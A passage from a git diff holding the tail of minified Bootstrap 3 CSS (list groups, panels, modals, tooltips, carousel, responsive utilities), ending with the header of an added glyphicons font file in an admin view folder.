75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item,button.list-group-item{color:#555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover,button.list-group-item:focus,button.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover,button.list-group-item-success:focus,button.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover,button.list-group-item-success.active,button.list-group-item-success.active:focus,button.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading,button.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover,button.list-group-item-info:focus,button.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover,button.list-group-item-info.active,button.list-group-item-info.active:focus,button.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover,button.list-group-item-warning:focus,button.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover,button.list-group-item-warning.active,button.list-group-item-warning.active:focus,button.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover,button.list-group-item-danger:focus,button.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover,button.list-group-item-danger.active,button.list-group-item-danger.active:focus,button.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table caption,.panel>.table-responsive>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0 0;border:0}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{min-height:16.43px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;filter:alpha(opacity=0);opacity:0;line-break:auto}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;font-style:normal;font-weight:400;line-height:1.42857143;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);line-break:auto}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>a>img,.carousel-inner>.item>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-inner>.item.active.right,.carousel-inner>.item.next{left:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{left:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,.0001)));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.0001)),to(rgba(0,0,0,.5)));background-image:linear-gradient(to right,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);background-repeat:repeat-x}.carousel-control:focus,.carousel-control:hover{color:#fff;text-decoration:none;filter:alpha(opacity=90);outline:0;opacity:.9}.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-10px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{left:50%;margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{right:50%;margin-right:-10px}.carousel-control .icon-next,.carousel-control .icon-prev{width:20px;height:20px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000\9;background-color:rgba(0,0,0,0);border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{width:30px;height:30px;margin-top:-15px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-15px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-15px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-lg,.visible-md,.visible-sm,.visible-xs{display:none!important}.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table!important}tr.visible-xs{display:table-row!important}td.visible-xs,th.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{display:block!important}}@media (max-width:767px){.visible-xs-inline{display:inline!important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table!important}tr.visible-sm{display:table-row!important}td.visible-sm,th.visible-sm{display:table-cell!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table!important}tr.visible-md{display:table-row!important}td.visible-md,th.visible-md{display:table-cell!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table!important}tr.visible-lg{display:table-row!important}td.visible-lg,th.visible-lg{display:table-cell!important}}@media (min-width:1200px){.visible-lg-block{display:block!important}}@media (min-width:1200px){.visible-lg-inline{display:inline!important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table!important}tr.visible-print{display:table-row!important}td.visible-print,th.visible-print{display:table-cell!important}}.visible-print-block{display:none!important}@media print{.visible-print-block{display:block!important}}.visible-print-inline{display:none!important}@media print{.visible-print-inline{display:inline!important}}.visible-print-inline-block{display:none!important}@media print{.visible-print-inline-block{display:inline-block!important}}@media print{.hidden-print{display:none!important}}
\ No newline at end of file
diff --git a/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.eot b/public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.eot
new file mode 100644
